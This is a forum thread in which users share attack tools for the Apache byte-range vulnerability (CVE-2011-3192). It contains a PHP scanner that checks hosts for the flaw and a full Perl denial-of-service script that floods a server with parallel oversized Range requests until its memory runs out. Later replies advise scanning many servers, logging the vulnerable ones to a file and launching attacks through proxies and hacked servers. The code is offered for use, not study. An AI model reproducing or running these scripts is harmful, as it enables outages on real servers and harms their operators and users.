[HELP] Apache Range Exploit
you could use this php code on a bot or on your own vps for that check bro
``` function check_for_exploit($host,$port=80,$timeout=10){
$range = ‘0-1’;
for($i=0;$i<20;$i++){
$range .= “,5-$i”;
}
$error_code = null;
$error = null;
$socket = fsockopen($host,$port,$error_code,$error,$timeout);
$packet = "HEAD / HTTP/1.1\r\nHost: $host\r\nRange:bytes=$range\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
fwrite($socket,$packet);
$result = fread($socket,2048);
//check to see if "Partial" is in the response
if(strstr($result,"Partial") !== false){
return true;
}
return false;
}```
AND THAN USE THIS CODE TO EXPLOIT IT
```use strict;
use warnings “all”;
use IO::Socket;
use vars qw($host $port $path $numforks $useragent $loops);
sub showusage {
print “\nApache Remote Denial of Service (memory exhaustion)\n”;
print “due to a flawed implementation of Partial Content requests\n”;
print “(CVE-2011-3192).\n\n”;
print “by Javier, based on Kingcope’s code available at\n”;
print “http://seclists.org/fulldisclosure/2011/Aug/175\n\n”;
print “Usage: ./apachepartial.pl [path] [parallel reqs] [loops] [port]\n”;
print “ [path] defaults to ‘/’\n”;
print “ [parallel reqs] defaults to 10\n”;
print “ [loops] defaults to 5 (0 = infinite)\n”;
print “ [port] defaults to 80\n\n”;
print “Example: For attacking http://www.example.com:8080/somepath/ with\n”;
print “ 100 concurrent requests over 5 loops:\n”;
print “ ./apachepartial.pl www.example.com /somepath/ 100 5 8080\n\n”;
print “See the comments at the beginning of the script code.\n\n”;
print “WARNING: The exploited system may become unstable and even crash.\n”;
print “ THIS TOOL IS PROVIDED ‘AS IS’, USE IT AT YOUR OWN RISK.\n\n”;
exit;
}
sub testserver {
my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port,
Proto => ‘tcp’)
|| die “Can’t connect to $host”;
my $req = "HEAD $path HTTP/1.1\r\nHost: $host\r\n";
$req .= "User-Agent: $useragent\r\nRange:bytes=0-100\r\n";
$req .= "Accept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print "\nTesting http://$host:$port$path\n\n";
print "Request:\n$req";
print $sock $req;
my $resp = '';
while (my $line = <$sock>) {
$resp .= $line
}
print "Response:\n$resp";
return ($resp =~ /^HTTP\/1.1 206/);
}
sub exploitserver {
$|=1;
srand(time());
my $range = '';
for (my $limit = 0; $limit < 1300; $limit++) {
$range .= ",5-$limit";
}
my @children = ();
for (1..$numforks) {
my $pid = fork();
if ($pid) {
push(@children, $pid);
} else {
my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp')
|| die "Can't connect to $host:$port";
my $req = "HEAD $path HTTP/1.1\r\nHost: $host\r\n";
$req .= "User-Agent: $useragent\r\nRange:bytes=0-$range\r\n";
$req .= "Accept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $req;
while(<$sock>) {}
print ".";
exit;
}
}
foreach (@children) {
waitpid($_, 0);
}
print " finished.\n";
}
Main program
showusage if ($#ARGV == -1);
$host = $ARGV[0];
$path = $#ARGV >= 1 ? $ARGV[1] : ‘/’;
$numforks = $#ARGV >= 2 ? $ARGV[2] : 10;
$loops = $#ARGV >= 3 ? $ARGV[3] : 5;
$loops = -1 if ($loops == 0);
$port = $#ARGV == 4 ? $ARGV[4] : 80;
$useragent = “Apache httpd Partial Content bug exploit”;
if (testserver) {
print “Host seems vulnerable.\n\n”;
print “Hitting http://$host:$port$path\n”;
print “($numforks parallel reqs over $loops loops)\n\n”;
my $loop = 0;
while($loop != $loops) {
$loop++;
print "Loop $loop ";
exploitserver;
}
} else {
print “Host does not seem vulnerable (maybe another path?).\n\n”;
exit;
}```
i bake therefore im fried!!
and this is used i believe as a memory exhaustion exploit that targets obviously apache and linux servers this will begin to use swap memory after it exhausts its own read up on this it is a DOS if you want i could make a program ith this script that could output a list o servers and maybe check them from a file and output the results to a file shouldnt be too hard
i bake therefore im fried!!
i bake therefore im fried!!
@pvppro : it’s PHP
Just because I am paranoid doesnt mean theyre not after me…
PHP should be uploaded and run online. But you can also use a program like XAMPP which is used by web developers to work on their sites without having to upload everything.
ya thats true xamp wampp but i do suggest to use a pre configured php server that is secure
the code that is shown is used to scan what you would do ismake a php program perl etc that will take the results of this thing and store the client to a text file very easy
in the check exploit section look at this
if(strstr($result,"Partial") !== false){
return true;
}
in this section you would place your function that would add the client you found to a text file
than you would load the text file inside the exploit program to check each host i dont do do some im not gonna make ou an exploit like this because i could post it and it could be heavily abused im sure i could figure it out so can you but dont be malicious:)
i bake therefore im fried!!
yes you upload these files to a host that has php i personally would use a proxy hack a server and than hack another server or 2 than load these tools but i don’t do malicious but if i did that would be my style :)
i bake therefore im fried!!